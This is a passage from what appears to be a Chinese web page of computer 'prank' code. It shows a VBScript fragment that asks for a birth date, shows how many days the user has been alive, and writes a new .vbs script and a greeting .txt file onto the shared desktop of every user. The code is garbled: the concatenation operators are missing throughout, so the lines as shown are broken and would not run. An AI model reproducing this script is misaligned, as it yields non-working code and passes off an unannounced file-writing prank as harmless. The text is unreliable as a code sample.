月日]電腦將自動(dòng)算出到目前為止你已經(jīng)在地球上存活了多少時(shí)間！"vbcrlf""vbcrlf"下面以我為列 不同可以修改"vbcrlf""Chr(10)"格式為：1987-06-02","芮洲提示：","1987-06-02") If c = ""Then WScript.Quit End If wscript.sleep 1000age = abs(datediff("d",date,c)) wscript.sleep 1 current = now() h=datepart("h",current) n=datepart("n",current) WScript.Sleep 1000 s = msgbox (Chr(10)"恭喜 "a" 已在地球上存活了:"age"天 "h"小時(shí) "n"分鐘.....",vbOKCancel+63,"芮洲提示：") if s=2 then end if Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"a"的秘密.vbs",true) auto.WriteLine"MSGBOX""""""我的名字叫:"a" """"""vbcrlf""""""""""""vbcrlf""""""我的愛好是:"B" """"""vbcrlf""""""""""""vbcrlf"""""""a"已經(jīng)活了:"age"天 "h"小時(shí) "n"分鐘 """""",64,"""""""a"的自我介紹：""" auto.WriteLine"msgbox""""""親愛的 "a " 再見了！"""""",48,""""""芮洲提示：""""""" Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"a"生日快樂.TXT",true) auto.WriteLine"本人芮洲祝: "a" 生日快樂、心想事成、敢于大膽嘗試、早日飛黃騰達(dá)......." auto.WriteLine"你已在地球上生活了:"age"天 "h"小時(shí) "n"分鐘了" auto.WriteLine"時(shí)間是根據(jù)你的出生年月日算的，可能不是很精確，但目的只是想讓知道時(shí)間過的很快，請珍惜時(shí)間!!!。"

關(guān)于電腦惡搞代碼大全圖教和電腦指令代碼惡搞大全的介紹到此就結(jié)束了，不知道你從中找到你需要的信息了嗎 ？如果你還想了解更多這方面的信息，記得收藏關(guān)注本站。